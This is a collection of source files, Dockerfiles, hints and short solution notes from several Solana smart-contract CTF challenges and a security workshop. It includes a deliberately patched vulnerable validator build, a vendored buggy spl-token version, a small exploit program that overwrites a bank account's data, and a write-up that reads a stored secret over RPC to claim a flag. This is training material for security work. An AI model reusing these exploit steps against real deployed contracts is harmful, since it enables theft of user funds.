-------------------------------------------------------------------------------- /neodyme-breakpoint-workshop/docs/level4-hint1.md: -------------------------------------------------------------------------------- 1 | # Hint 1 2 | 3 | Take a look at `Cargo.toml`. We had to use spl-token version 3.1.0, since the bug is not exploitable with spl-token version 3.1.1 and above. 4 | It might be wise to take a look at the changes between those two versions. 5 | 6 | 7 |
8 | Sub-hint: How to diff these versions? 9 | Unfortunately, SPL-token is inside a monorepo. This makes diffing via GitHub's web-ui nearly impossible. 10 | You can, however, look at all recent commits to the SPL-token program by opening the folder and clicking History. 11 | 12 | To diff every file in SPL-Token via the CLI, you could clone the solana-program-library repo, and then run `git diff token-v3.1.0 token-v3.1.1 -- token/program/src`. 13 |
14 | -------------------------------------------------------------------------------- /allesctf21/legit-bank/solution/sintemal/bank_initializer/src/lib.rs: -------------------------------------------------------------------------------- 1 | 2 | use solana_program::{clock::UnixTimestamp, entrypoint}; 3 | 4 | use arrayref::array_ref; 5 | use borsh::{BorshDeserialize, BorshSerialize}; 6 | use solana_program::{ 7 | account_info::AccountInfo, 8 | clock::Clock, 9 | entrypoint::ProgramResult, 10 | program::{invoke, invoke_signed}, 11 | program_error::ProgramError, 12 | program_pack::Pack, 13 | pubkey::Pubkey, 14 | rent::Rent, 15 | system_instruction, 16 | sysvar::Sysvar, 17 | }; 18 | use spl_token::state::Account; 19 | 20 | entrypoint!(process_instruction); 21 | 22 | pub fn process_instruction( 23 | program_id: &Pubkey, 24 | accounts: &[AccountInfo], 25 | instruction_data: &[u8], 26 | ) -> ProgramResult { 27 | let bank_account_to_initialize = &accounts[0]; 28 | 29 | let mut bank_data = bank_account_to_initialize.data.borrow_mut(); 30 | 31 | bank_data.copy_from_slice(instruction_data); 32 | 33 | return Ok(()); 34 | 35 | } -------------------------------------------------------------------------------- /neodyme-breakpoint-workshop/docs/SUMMARY.md: -------------------------------------------------------------------------------- 1 | # Summary 2 | 3 | - [Introduction](README.md) 4 | - [Workshop](workshop.md) 5 | - [Setup](setup.md) 6 | - [PoC Framework](poc_framework.md) 7 | - [Level 0 - A First Vulnerability - Presentation](level0.md) 8 | - [Solution](level0-solution.md)) 9 | - [Level 1 - Personal Vault](level1.md) 10 | - [Hint 1](level1-hint1.md) 11 | - [Hint 2](level1-hint2.md) 12 | - [Bug](level1-bug.md) 13 | - [Solution](level1-solution.md) 14 | - [Level 2 - Secure Personal Vault](level2.md) 15 | - [Solution](level2-solution.md) 16 | - [Level 3 - Tip Pool](level3.md) 17 | - [Hint 1](level2-hint1.md) 18 | - [Hint 2](level2-hint2.md) 19 | - [Solution](level3-solution.md) 20 | - [Level 4 - SPL-Token Vault](level4.md) 21 | - [Hint 1](level4-hint1.md) 22 | - [Hint 2](level4-hint2.md) 23 | - [Hint 3](level4-hint3.md) 24 | - [Bug](level4-bug.md) 25 | - [Solution](level4-solution.md) 26 | 27 | [Resources](resources.md) 28 | 29 | --- 30 | [Legal Notice](legal-notice.md) 31 | -------------------------------------------------------------------------------- /darksols/darksols/spl-token/.cargo-checksum.json: -------------------------------------------------------------------------------- 1 | {"files":{"Cargo.toml":"e2b854b209687604448c94407bfc256742221e99033e6e2bb53442923ebef815","Xargo.toml":"a4292e0c9687ede7dc40c108682afb3568b810e1ba859ac5aff32b24491e6931","inc/token.h":"bc5ede8eaf73bb09bb7c812129019964b9335e4a880dcd133516a142636ee635","program-id.md":"850fdb05a21c68abe2d17caca3d63c0839733a61f1e4ef8595f8a3e9b62909c1","src/entrypoint.rs":"a597c08ff4ddd44aa46faa587fd4efa7587a331edfffb1df6f69d030a2d78670","src/error.rs":"da1771b38ed7b7b9616d1d0139ab6d3b0345079927882ab34fe106c06845d606","src/instruction.rs":"8ec8f119af9d53deb94251ae6bcbe2e9071d6d4039305dfb975fb54e0a2bb5b4","src/lib.rs":"f599f90de41680f75159e6588ff449a196365ce8d0f793f9f8016aa06b45992a","src/native_mint.rs":"ce4cfd6c844af094189ba5ed5260ea2773cade44376a9caa6153b82f813a4b11","src/processor.rs":"3b259b8ec39838c51396e8e9eafe8ea1575a4b661f29fdc4139876428ff94131","src/state.rs":"0742da22c23671bc64a13b6f09ac8ac7104be639c42bd64fa6305aac46de9f0a"},"package":"b795e50d15dfd35aa5460b80a16414503a322be115a417a43db987c5824c6798"} -------------------------------------------------------------------------------- /neodyme-breakpoint-workshop/level4/vendored-spl-token-3.1.0/.cargo-checksum.json: -------------------------------------------------------------------------------- 1 | {"files":{"Cargo.toml":"e2b854b209687604448c94407bfc256742221e99033e6e2bb53442923ebef815","Xargo.toml":"a4292e0c9687ede7dc40c108682afb3568b810e1ba859ac5aff32b24491e6931","inc/token.h":"bc5ede8eaf73bb09bb7c812129019964b9335e4a880dcd133516a142636ee635","program-id.md":"850fdb05a21c68abe2d17caca3d63c0839733a61f1e4ef8595f8a3e9b62909c1","src/entrypoint.rs":"a597c08ff4ddd44aa46faa587fd4efa7587a331edfffb1df6f69d030a2d78670","src/error.rs":"da1771b38ed7b7b9616d1d0139ab6d3b0345079927882ab34fe106c06845d606","src/instruction.rs":"8ec8f119af9d53deb94251ae6bcbe2e9071d6d4039305dfb975fb54e0a2bb5b4","src/lib.rs":"f599f90de41680f75159e6588ff449a196365ce8d0f793f9f8016aa06b45992a","src/native_mint.rs":"ce4cfd6c844af094189ba5ed5260ea2773cade44376a9caa6153b82f813a4b11","src/processor.rs":"3b259b8ec39838c51396e8e9eafe8ea1575a4b661f29fdc4139876428ff94131","src/state.rs":"0742da22c23671bc64a13b6f09ac8ac7104be639c42bd64fa6305aac46de9f0a"},"package":"b795e50d15dfd35aa5460b80a16414503a322be115a417a43db987c5824c6798"} -------------------------------------------------------------------------------- /darksols/darksols/spl-token/src/lib.rs: -------------------------------------------------------------------------------- 1 | #![deny(missing_docs)] 2 | #![forbid(unsafe_code)] 3 | 4 | //! An ERC20-like Token program for the Solana blockchain 5 | 6 | pub mod error; 7 | pub mod instruction; 8 | pub mod native_mint; 9 | pub mod processor; 10 | pub mod state; 11 | 12 | #[cfg(not(feature = "no-entrypoint"))] 13 | mod entrypoint; 14 | 15 | // Export current sdk types for downstream users building with a different sdk version 16 | pub use solana_program; 17 | 18 | /// Convert the UI representation of a token amount (using the decimals field defined in its mint) 19 | /// to the raw amount 20 | pub fn ui_amount_to_amount(ui_amount: f64, decimals: u8) -> u64 { 21 | (ui_amount * 10_usize.pow(decimals as u32) as f64) as u64 22 | } 23 | 24 | /// Convert a raw amount to its UI representation (using the decimals field defined in its mint) 25 | pub fn amount_to_ui_amount(amount: u64, decimals: u8) -> f64 { 26 | amount as f64 / 10_usize.pow(decimals as u32) as f64 27 | } 28 | 29 | solana_program::declare_id!("TokenkegQfeZyiNwAJbNbGKPFXCWuBvf9Ss623VQ5DA"); 30 | -------------------------------------------------------------------------------- /neodyme-breakpoint-workshop/level4/vendored-spl-token-3.1.0/src/lib.rs: -------------------------------------------------------------------------------- 1 | #![deny(missing_docs)] 2 | #![forbid(unsafe_code)] 3 | 4 | //! An ERC20-like Token program for the Solana blockchain 5 | 6 | pub mod error; 7 | pub mod instruction; 8 | pub mod native_mint; 9 | pub mod processor; 10 | pub mod state; 11 | 12 | #[cfg(not(feature = "no-entrypoint"))] 13 | mod entrypoint; 14 | 15 | // Export current sdk types for downstream users building with a different sdk version 16 | pub use solana_program; 17 | 18 | /// Convert the UI representation of a token amount (using the decimals field defined in its mint) 19 | /// to the raw amount 20 | pub fn ui_amount_to_amount(ui_amount: f64, decimals: u8) -> u64 { 21 | (ui_amount * 10_usize.pow(decimals as u32) as f64) as u64 22 | } 23 | 24 | /// Convert a raw amount to its UI representation (using the decimals field defined in its mint) 25 | pub fn amount_to_ui_amount(amount: u64, decimals: u8) -> f64 { 26 | amount as f64 / 10_usize.pow(decimals as u32) as f64 27 | } 28 | 29 | solana_program::declare_id!("TokenkegQfeZyiNwAJbNbGKPFXCWuBvf9Ss623VQ5DA"); 30 | -------------------------------------------------------------------------------- /solhana-ctf/client/challenge1.js: -------------------------------------------------------------------------------- 1 | import * as fs from "fs"; 2 | import * as anchor from "@project-serum/anchor"; 3 | import { BN } from "bn.js"; 4 | 5 | import * as api from "./api.js"; 6 | import { parseAccounts, sendInstructions } from "./util.js"; 7 | 8 | const idl = JSON.parse(fs.readFileSync("../idl/challenge1.json")); 9 | const accountFile = parseAccounts(fs.readFileSync("../" + api.PLAYERFILE)); 10 | const player = accountFile.player; 11 | const accounts = accountFile.challengeOne; 12 | const program = new anchor.Program(idl, accounts.programId.toString(), "fake truthy value"); 13 | const baseUrl = accountFile.endpoint.match(/^(https*:\/\/[^\/]+)\/.*/)[1]; 14 | const conn = new anchor.web3.Connection(accountFile.endpoint); 15 | 16 | // all player code goes here 17 | async function attack() { 18 | } 19 | 20 | console.log("running attack code..."); 21 | await attack(); 22 | 23 | console.log("checking win..."); 24 | const flag = await api.getFlag(baseUrl, player.publicKey, 1); 25 | 26 | if(flag) { 27 | console.log("win! your flag is:", flag); 28 | } 29 | else { 30 | console.log("no win"); 31 | } 32 | -------------------------------------------------------------------------------- /solhana-ctf/client/challenge2.js: -------------------------------------------------------------------------------- 1 | import * as fs from "fs"; 2 | import * as anchor from "@project-serum/anchor"; 3 | import { BN } from "bn.js"; 4 | 5 | import * as api from "./api.js"; 6 | import { parseAccounts, sendInstructions } from "./util.js"; 7 | 8 | const idl = JSON.parse(fs.readFileSync("../idl/challenge2.json")); 9 | const accountFile = parseAccounts(fs.readFileSync("../" + api.PLAYERFILE)); 10 | const player = accountFile.player; 11 | const accounts = accountFile.challengeTwo; 12 | const program = new anchor.Program(idl, accounts.programId.toString(), "fake truthy value"); 13 | const baseUrl = accountFile.endpoint.match(/^(https*:\/\/[^\/]+)\/.*/)[1]; 14 | const conn = new anchor.web3.Connection(accountFile.endpoint); 15 | 16 | // all player code goes here 17 | async function attack() { 18 | } 19 | 20 | console.log("running attack code..."); 21 | await attack(); 22 | 23 | console.log("checking win..."); 24 | const flag = await api.getFlag(baseUrl, player.publicKey, 2); 25 | 26 | if(flag) { 27 | console.log("win! your flag is:", flag); 28 | } 29 | else { 30 | console.log("no win"); 31 | } 32 | -------------------------------------------------------------------------------- /solhana-ctf/client/challenge3.js: -------------------------------------------------------------------------------- 1 | import * as fs from "fs"; 2 | import * as anchor from "@project-serum/anchor"; 3 | import { BN } from "bn.js"; 4 | 5 | import * as api from "./api.js"; 6 | import { sleep, parseAccounts, sendInstructions } from "./util.js"; 7 | 8 | const idl = JSON.parse(fs.readFileSync("../idl/challenge3.json")); 9 | const accountFile = parseAccounts(fs.readFileSync("../" + api.PLAYERFILE)); 10 | const player = accountFile.player; 11 | const accounts = accountFile.challengeThree; 12 | const program = new anchor.Program(idl, accounts.programId.toString(), "fake truthy value"); 13 | const baseUrl = accountFile.endpoint.match(/^(https*:\/\/[^\/]+)\/.*/)[1]; 14 | const conn = new anchor.web3.Connection(accountFile.endpoint); 15 | 16 | // all player code goes here 17 | async function attack() { 18 | } 19 | 20 | console.log("running attack code..."); 21 | await attack(); 22 | 23 | console.log("checking win..."); 24 | const flag = await api.getFlag(baseUrl, player.publicKey, 3); 25 | 26 | if(flag) { 27 | console.log("win! your flag is:", flag); 28 | } 29 | else { 30 | console.log("no win"); 31 | } 32 | -------------------------------------------------------------------------------- /neodyme-breakpoint-workshop/docs/workshop.md: -------------------------------------------------------------------------------- 1 | # Workshop 2 | To make this workshop hands-on, you will find bugs and develop exploits for them yourself. 3 | 4 | We have prepared a few vulnerable Solana contracts. 5 | As this workshop was intended for only 3h, we have simplified bugs we have found in the wild a lot. 6 | This allows you to focus on finding and exploiting bugs over reverse-engineering functionality. 7 | 8 | In the same vein, we have opted not to use the Anchor framework in our contracts, even though it usually leads to more secure contracts. 9 | This is simply to save the extra time you'd need to learn anchor if you are not familiar yet. 10 | The security fundamentals you learn here will apply just as well in anchor, they'll be just a bit easier to implement cleanly there. 11 | 12 | In anchor, lots of checks are hidden away, and we often have to go diggin in anchor source to understand what exactly is being checked and what can be controlled. (have not found a bug inside anchor itself though... yet) 13 | 14 | Each task can be solved without looking at the description here. But we have prepared some hints to help you. 15 | -------------------------------------------------------------------------------- /HalbornCTF_Rust_Solana/ctf/src/error.rs: -------------------------------------------------------------------------------- 1 | use { 2 | num_derive::FromPrimitive, 3 | solana_program::{ 4 | decode_error::DecodeError, 5 | program_error::ProgramError 6 | }, 7 | thiserror::Error 8 | }; 9 | 10 | #[derive(Clone, Debug, Eq, Error, FromPrimitive, PartialEq)] 11 | pub enum FarmError { 12 | #[error("AlreadyInUse")] 13 | AlreadyInUse, 14 | 15 | #[error("InvalidProgramAddress")] 16 | InvalidProgramAddress, 17 | 18 | #[error("SignatureMissing")] 19 | SignatureMissing, 20 | 21 | #[error("InvalidFeeAccount")] 22 | InvalidFeeAccount, 23 | 24 | #[error("WrongPoolMint")] 25 | WrongPoolMint, 26 | 27 | #[error("This farm is not allowed yet")] 28 | NotAllowed, 29 | 30 | #[error("Wrong Farm Fee")] 31 | InvalidFarmFee, 32 | 33 | #[error("Wrong Creator")] 34 | WrongCreator, 35 | } 36 | impl From for ProgramError { 37 | fn from(e: FarmError) -> Self { 38 | ProgramError::Custom(e as u32) 39 | } 40 | } 41 | impl DecodeError for FarmError { 42 | fn type_of() -> &'static str { 43 | "Farm Error" 44 | } 45 | } -------------------------------------------------------------------------------- /HalbornCTF_Rust_Solana/ctf/src/lib.rs: -------------------------------------------------------------------------------- 1 | use solana_program::{ 2 | account_info::{ AccountInfo}, 3 | entrypoint, 4 | entrypoint::ProgramResult, 5 | program_error::PrintProgramError, 6 | pubkey::Pubkey, 7 | }; 8 | 9 | pub mod error; 10 | pub mod instruction; 11 | pub mod processor; 12 | pub mod state; 13 | pub mod constant; 14 | 15 | // this registers the program entrypoint 16 | entrypoint!(process_instruction); 17 | 18 | /// this is the program entrypoint 19 | /// this function ALWAYS takes three parameters: 20 | /// the ID of this program, array of accounts and instruction data 21 | pub fn process_instruction( 22 | program_id: &Pubkey, 23 | accounts: &[AccountInfo], 24 | _instruction_data: &[u8], 25 | ) -> ProgramResult { 26 | // process the instruction 27 | if let Err(error) = processor::Processor::process(program_id, accounts, _instruction_data) { 28 | // revert the transaction and print the relevant error to validator log if processing fails 29 | error.print::(); 30 | Err(error) 31 | } else { 32 | // otherwise return OK 33 | Ok(()) 34 | } 35 | } 36 | -------------------------------------------------------------------------------- /allesctf21/bugchain/public/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM rust:latest AS build 2 | 3 | RUN apt-get update && apt-get install -y clang libudev-dev git 4 | 5 | RUN rustup component add rustfmt 6 | 7 | RUN mkdir /build 8 | 9 | WORKDIR /build 10 | RUN git clone https://github.com/solana-labs/solana.git && cd solana && git checkout 03b930515bc554396bc69d811be834d22978a1d3 11 | WORKDIR /build/solana 12 | COPY vuln.patch /build/solana 13 | RUN git apply vuln.patch 14 | RUN cargo build --release --bin solana-test-validator 15 | 16 | COPY setup/ /build/setup 17 | WORKDIR /build/setup 18 | RUN cargo run --bin generate_ledger 19 | 20 | COPY flag-program/ /build/flag-program 21 | WORKDIR /build/flag-program 22 | RUN cargo build --release 23 | 24 | 25 | FROM ubuntu:20.04 26 | 27 | RUN apt-get update && apt-get install -y clang libudev-dev git 28 | 29 | COPY --from=build /build/setup/ledger/ /ledger/ 30 | COPY --from=build /build/flag-program/target/release/libflag.so /usr/bin/libflagloader_program.so 31 | COPY --from=build /build/solana/target/release/solana-test-validator /usr/bin/solana-test-validator 32 | 33 | ENV FLAG="ALLES!{placeholder}" 34 | EXPOSE 1024 35 | 36 | CMD ["solana-test-validator", "-l", "/ledger/", "--rpc-port", "1024", "--dynamic-port-range", "1025-65535"] -------------------------------------------------------------------------------- /allesctf21/secret-store/deploy/program/src/lib.rs: -------------------------------------------------------------------------------- 1 | use borsh::{BorshDeserialize, BorshSerialize}; 2 | use solana_program::{entrypoint}; 3 | 4 | /// General information about a single bank 5 | #[derive(Debug, BorshSerialize, BorshDeserialize)] 6 | pub struct Store { 7 | // simple secret 8 | pub secret: u64, 9 | } 10 | pub const STORE_LEN: u64 = 8; 11 | 12 | /// Instructions that this program supports 13 | #[derive(Debug, BorshDeserialize, BorshSerialize)] 14 | pub enum StoreInstruction { 15 | /// Initialize the Store 16 | /// 17 | /// To protect from scams, only a single bank is supported. 18 | /// Thus, the address of the bank account must be the program-derived address with empty seed. 19 | /// 20 | /// Passed accounts: 21 | /// 22 | /// (1) Store account 23 | /// (2) Flag account, pays for creation of secret account (must sign) 24 | /// (3) Rent sysvar 25 | Initialize { secret: u64 }, 26 | /// Get the Flag 27 | /// 28 | /// Gives you flag if you give secret :) 29 | /// 30 | /// Passed accounts: 31 | /// 32 | /// (1) Store account 33 | GetFlag { secret: u64 }, 34 | } 35 | 36 | pub mod processor; 37 | 38 | use processor::process_instruction; 39 | entrypoint!(process_instruction); 40 | -------------------------------------------------------------------------------- /allesctf21/bugchain/deploy/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM rust:latest AS build 2 | 3 | RUN apt-get update && apt-get install -y clang libudev-dev git 4 | 5 | RUN rustup component add rustfmt 6 | 7 | RUN mkdir /build 8 | 9 | WORKDIR /build 10 | RUN git clone https://github.com/solana-labs/solana.git && cd solana && git checkout 03b930515bc554396bc69d811be834d22978a1d3 11 | WORKDIR /build/solana 12 | COPY vuln.patch /build/solana 13 | RUN git apply vuln.patch 14 | RUN cargo build --release --bin solana-test-validator 15 | 16 | COPY setup/ /build/setup 17 | WORKDIR /build/setup 18 | RUN cargo run --bin generate_ledger 19 | 20 | COPY flag-program/ /build/flag-program 21 | WORKDIR /build/flag-program 22 | RUN cargo build --release 23 | 24 | 25 | FROM ubuntu:20.04 26 | 27 | RUN apt-get update && apt-get install -y clang libudev-dev git 28 | 29 | COPY --from=build /build/setup/ledger/ /ledger/ 30 | COPY --from=build /build/flag-program/target/release/libflag.so /usr/bin/libflagloader_program.so 31 | COPY --from=build /build/solana/target/release/solana-test-validator /usr/bin/solana-test-validator 32 | 33 | ENV FLAG="ALLES!{https://twitter.com/aeyakovenko/status/1426951281331998720}" 34 | EXPOSE 1024 35 | 36 | CMD ["solana-test-validator", "-l", "/ledger/", "--rpc-port", "1024", "--dynamic-port-range", "1025-65535"] -------------------------------------------------------------------------------- /allesctf21/secret-store/solution/tobi.md: -------------------------------------------------------------------------------- 1 | - Auf dem Explorer die Transaction anklicken 2 | - Pubkey des dritten accounts kopieren 3 | - Folgendes ausführen: 4 | ``` 5 | curl https://7b0000002285109bc109b75a-secret-store.challenge.broker.allesctf.net:31337 -X POST -H "Content-Type: application/json" -d ' 6 | { 7 | "jsonrpc": "2.0", 8 | "id": 1, 9 | "method": "getAccountInfo", 10 | "params": [ 11 | "4WqgwsyU8WautoDMPQZFrnJ26d7UWrY39GHyz3qWtFQN", 12 | { 13 | "encoding": "base58" 14 | } 15 | ] 16 | } 17 | ' 18 | ``` 19 | 20 | - Data in cyberchef packen: 21 | https://gchq.github.io/CyberChef/#recipe=From_Base58('123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz',true)To_Hex('Space',0)Swap_endianness('Hex',8,true)Find_/_Replace(%7B'option':'Regex','string':'%20'%7D,'',true,false,true,false)From_Base(16)&input=Yk1FbW5ZYzh0V3E 22 | 23 | - store-cli bauen und 30 min warten... 24 | ``` 25 | cargo run --release --bin store-cli 26 | ``` 27 | 28 | - Von Flo sagen lassen, dass das 2 monate alte Rust zu alt ist und rust updaten 29 | - Nochmal bauen 30 | - Folgenden command ausführen: 31 | ``` 32 | target/release/store-cli -u https://7b0000002285109bc109b75a-secret-store.challenge.broker.allesctf.net:31337 -k ./keys/rich-boi.json get-flag 3GpBPRBeG4gKMjGnB39B8jxfKy7zNgTA2TnKuxojHEm8 15431369148442696653 33 | ``` 34 | - Profit ? -------------------------------------------------------------------------------- /darksols/darksols/spl-token/Cargo.toml: -------------------------------------------------------------------------------- 1 | # THIS FILE IS AUTOMATICALLY GENERATED BY CARGO 2 | # 3 | # When uploading crates to the registry Cargo will automatically 4 | # "normalize" Cargo.toml files for maximal compatibility 5 | # with all versions of Cargo and also rewrite `path` dependencies 6 | # to registry (e.g., crates.io) dependencies 7 | # 8 | # If you believe there's an error in this file please file an 9 | # issue against the rust-lang/cargo repository. If you're 10 | # editing this file be aware that the upstream Cargo.toml 11 | # will likely look very different (and much more reasonable) 12 | 13 | [package] 14 | edition = "2018" 15 | name = "spl-token" 16 | version = "3.1.0" 17 | authors = ["Solana Maintainers "] 18 | exclude = ["js/**"] 19 | description = "Solana Program Library Token" 20 | license = "Apache-2.0" 21 | repository = "https://github.com/solana-labs/solana-program-library" 22 | [package.metadata.docs.rs] 23 | targets = ["x86_64-unknown-linux-gnu"] 24 | 25 | [lib] 26 | crate-type = ["cdylib", "lib"] 27 | [dependencies.arrayref] 28 | version = "0.3.6" 29 | 30 | [dependencies.num-derive] 31 | version = "0.3" 32 | 33 | [dependencies.num-traits] 34 | version = "0.2" 35 | 36 | [dependencies.num_enum] 37 | version = "0.5.1" 38 | 39 | [dependencies.solana-program] 40 | version = "1.5.6" 41 | 42 | [dependencies.thiserror] 43 | version = "1.0" 44 | [dev-dependencies.solana-sdk] 45 | version = "1.5.6" 46 | 47 | [features] 48 | no-entrypoint = [] 49 | -------------------------------------------------------------------------------- /solhana-ctf/server/src/bin/setup_chain.rs: -------------------------------------------------------------------------------- 1 | use std::fs; 2 | use serde_json; 3 | 4 | use server::*; 5 | 6 | // this is a binary to do the chain setup that the server normally does 7 | // and also to create a single player, normally behind an endpoint 8 | // this allows a player to test challenges locally without axum or sqlite 9 | // solutions written against a local chain ought to work against our solution validator as-is 10 | // the axum interface is designed as a drop-in replacement for the relevant subset of solana jsonrpc 11 | 12 | // XXX TODO FIXME challenges are NOT runnable as-is 13 | // challenge setup functions are gated by a SECURITY-CRITICAL master key 14 | // we need to comment this out on the contracts delivered to them 15 | 16 | const PLAYER_FILE: &str = "local_player.json"; 17 | 18 | #[tokio::main] 19 | async fn main() { 20 | println!("running chain setup for player use"); 21 | 22 | let rpc = rpc(); 23 | if let Err(_) = rpc.get_health().await { 24 | println!("could not connect to chain; are you running on {}?", rpc.url()); 25 | return; 26 | } 27 | 28 | // this is to make it idempotent but tbh you should run the test validator with --reset 29 | let _ = challenge::setup(&rpc).await; 30 | 31 | let accounts = make_new_player(&rpc, &rpc.url()).await.unwrap(); 32 | 33 | fs::write(PLAYER_FILE, serde_json::to_string(&accounts).unwrap()).unwrap(); 34 | println!("wrote player data to {}", PLAYER_FILE); 35 | 36 | return; 37 | } 38 | -------------------------------------------------------------------------------- /league-of-lamports/solution_template/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | from pwn import * 3 | from solana import * 4 | 5 | from solana.publickey import PublicKey 6 | 7 | # change this 8 | HOST, PORT = args.get("HOST", "localhost"), int(args.get("PORT", 1337)) 9 | # path to the solution contract 10 | filename = os.path.join(os.path.dirname(os.path.abspath(__file__)), "solution/dist/solution.so") 11 | 12 | data = b"" 13 | with open(filename, "rb") as contract: 14 | data = contract.read() 15 | 16 | io = remote(HOST, PORT) 17 | 18 | log.info("#0x0: sending smart contract") 19 | io.sendlineafter(b"length:", str(len(data)).encode()) 20 | io.send(data) 21 | 22 | log.info("#0x1: receiving public keys") 23 | io.recvline() 24 | pubkeys = dict() 25 | for i in range(3): 26 | name = io.recvuntil(b" pubkey: ", drop=True).decode() 27 | pubkey = io.recvline().strip() 28 | pubkeys[name] = pubkey.decode() 29 | 30 | # calculating pubkeys and seeds 31 | vault_pubkey, vault_seed = PublicKey.find_program_address([b"vault"], PublicKey(pubkeys["program"])) 32 | wallet_pubkey, wallet_seed = PublicKey.find_program_address([b"wallet"], PublicKey(pubkeys["program"])) 33 | 34 | log.info("#0x2: sending accounts meta") 35 | io.sendline(b"1") 36 | io.sendline(b"rw " + pubkeys["program"].encode()) 37 | 38 | log.info("#0x3: preparing instruction") 39 | instr = p64(0x0) 40 | instr_len = len(instr) 41 | io.sendline(str(instr_len).encode()) 42 | io.sendline(instr) 43 | 44 | print(io.recvall(timeout=1).decode("utf-8")) 45 | -------------------------------------------------------------------------------- /neodyme-breakpoint-workshop/level4/vendored-spl-token-3.1.0/Cargo.toml: -------------------------------------------------------------------------------- 1 | # THIS FILE IS AUTOMATICALLY GENERATED BY CARGO 2 | # 3 | # When uploading crates to the registry Cargo will automatically 4 | # "normalize" Cargo.toml files for maximal compatibility 5 | # with all versions of Cargo and also rewrite `path` dependencies 6 | # to registry (e.g., crates.io) dependencies 7 | # 8 | # If you believe there's an error in this file please file an 9 | # issue against the rust-lang/cargo repository. If you're 10 | # editing this file be aware that the upstream Cargo.toml 11 | # will likely look very different (and much more reasonable) 12 | 13 | [package] 14 | edition = "2018" 15 | name = "vendored-spl-token" 16 | version = "3.1.0" 17 | authors = ["Solana Maintainers "] 18 | exclude = ["js/**"] 19 | description = "Solana Program Library Token" 20 | license = "Apache-2.0" 21 | repository = "https://github.com/solana-labs/solana-program-library" 22 | [package.metadata.docs.rs] 23 | targets = ["x86_64-unknown-linux-gnu"] 24 | 25 | [lib] 26 | crate-type = ["cdylib", "lib"] 27 | [dependencies.arrayref] 28 | version = "0.3.6" 29 | 30 | [dependencies.num-derive] 31 | version = "0.3" 32 | 33 | [dependencies.num-traits] 34 | version = "0.2" 35 | 36 | [dependencies.num_enum] 37 | version = "0.5.1" 38 | 39 | [dependencies.solana-program] 40 | version = "1.5.6" 41 | 42 | [dependencies.thiserror] 43 | version = "1.0" 44 | [dev-dependencies.solana-sdk] 45 | version = "1.5.6" 46 | 47 | [features] 48 | no-entrypoint = [] 49 | -------------------------------------------------------------------------------- /allesctf21/bugchain/bugchain.cue: -------------------------------------------------------------------------------- 1 | package challenges 2 | 3 | challenges: "bugchain": { 4 | enabled: true 5 | displayName: "🔥 Bugchain" 6 | category: "Zoomer Crypto" 7 | difficulty: "Hard" 8 | author: "CherryWorm" 9 | broker: "bugchain" 10 | brokerProtocol: "solana-explorer" 11 | 12 | description: """ 13 | You've already dipped your toes into the water and exploited a couple of Solana smart contracts. 14 | Now it's time to fully jump in and exploit Solana itself! This challenge is based on a real vulnerability we 15 | found and reported last year. 16 | Your goal again is to call the flag contract with proof that you have flag tokens. But there is a catch this 17 | time: we didn't mint any flag tokens! 18 | 19 | If you enjoy this challenge, make sure to check out the [Solana Bug Bounty program](https://github.com/solana-labs/solana/security/policy). 20 | The bounties are very generous, paid out every month and the folks over at Solana are great to work with. 21 | 22 | **Hint**: 23 | - [https://docs.solana.com/implemented-proposals/durable-tx-nonces](https://docs.solana.com/implemented-proposals/durable-tx-nonces) 24 | - [https://docs.solana.com/offline-signing/durable-nonce](https://docs.solana.com/offline-signing/durable-nonce) 25 | """ 26 | 27 | flag: "ALLES!{https://twitter.com/aeyakovenko/status/1426951281331998720}" 28 | points: 500 29 | files: [ 30 | { 31 | name: "bugchain.zip" 32 | sha256sum: "9c74fdf81541438f0209dccc5ab0f301a81e0503f52f2a4856ae0e3955bc5297" 33 | }, 34 | ] 35 | } 36 | -------------------------------------------------------------------------------- /allesctf21/legit-bank/public/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM rust:1.54.0-bullseye AS build 2 | 3 | RUN sh -c "$(curl -sSfL https://release.solana.com/v1.7.10/install)" 4 | ENV PATH="/root/.local/share/solana/install/active_release/bin:${PATH}" 5 | 6 | RUN apt-get update && apt-get install -y clang libudev-dev 7 | 8 | RUN rustup component add rustfmt 9 | 10 | RUN mkdir /build 11 | 12 | COPY program/ /build/program 13 | WORKDIR /build/program 14 | RUN cargo build-bpf 15 | 16 | COPY cli/ /build/cli 17 | COPY keys/ /build/keys 18 | COPY flag-program/ /build/flag-program 19 | COPY Cargo.lock Cargo.toml /build/ 20 | 21 | WORKDIR /build/ 22 | RUN cargo build --release 23 | RUN cp /build/program/target/deploy/bank.so /build/ && cargo run --release --bin bank-cli -- -k /build/keys/rich-boi.json initialize-ledger 24 | 25 | 26 | FROM ubuntu:20.04 27 | 28 | RUN apt-get update && apt-get install -y curl && sh -c "$(curl -sSfL https://release.solana.com/v1.7.10/install)" 29 | ENV PATH="/root/.local/share/solana/install/active_release/bin:${PATH}" 30 | 31 | COPY --from=build /build/ledger/ /ledger/ 32 | COPY --from=build /build/target/release/bank-cli /usr/bin/ 33 | COPY --from=build /build/keys/ /keys/ 34 | COPY --from=build /build/target/release/libflag.so /root/.local/share/solana/install/active_release/bin/libflagloader_program.so 35 | 36 | ENV FLAG="ALLES!{placeholder}" 37 | EXPOSE 1024 38 | 39 | CMD ["/bin/sh", "-c", "((sleep 2; bank-cli -k /keys/bank-manager.json setup /keys/flag-depot.json /keys/bank-manager.json) &); solana-test-validator -l /ledger/ --rpc-port 1024 --dynamic-port-range 1025-65535"] 40 | -------------------------------------------------------------------------------- /allesctf21/secret-store/public/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM rust:1.54.0-bullseye AS build 2 | 3 | RUN sh -c "$(curl -sSfL https://release.solana.com/v1.7.10/install)" 4 | ENV PATH="/root/.local/share/solana/install/active_release/bin:${PATH}" 5 | 6 | RUN apt-get update && apt-get install -y clang libudev-dev 7 | 8 | RUN rustup component add rustfmt 9 | 10 | RUN mkdir /build 11 | 12 | COPY program/ /build/program 13 | WORKDIR /build/program 14 | RUN cargo build-bpf 15 | 16 | COPY cli/ /build/cli 17 | COPY keys/ /build/keys 18 | COPY flag-program/ /build/flag-program 19 | COPY Cargo.lock Cargo.toml /build/ 20 | 21 | WORKDIR /build/ 22 | RUN cargo build --release 23 | RUN cp /build/program/target/deploy/store.so /build/ && cargo run --release --bin store-cli -- -k /build/keys/rich-boi.json initialize-ledger 24 | 25 | 26 | FROM ubuntu:20.04 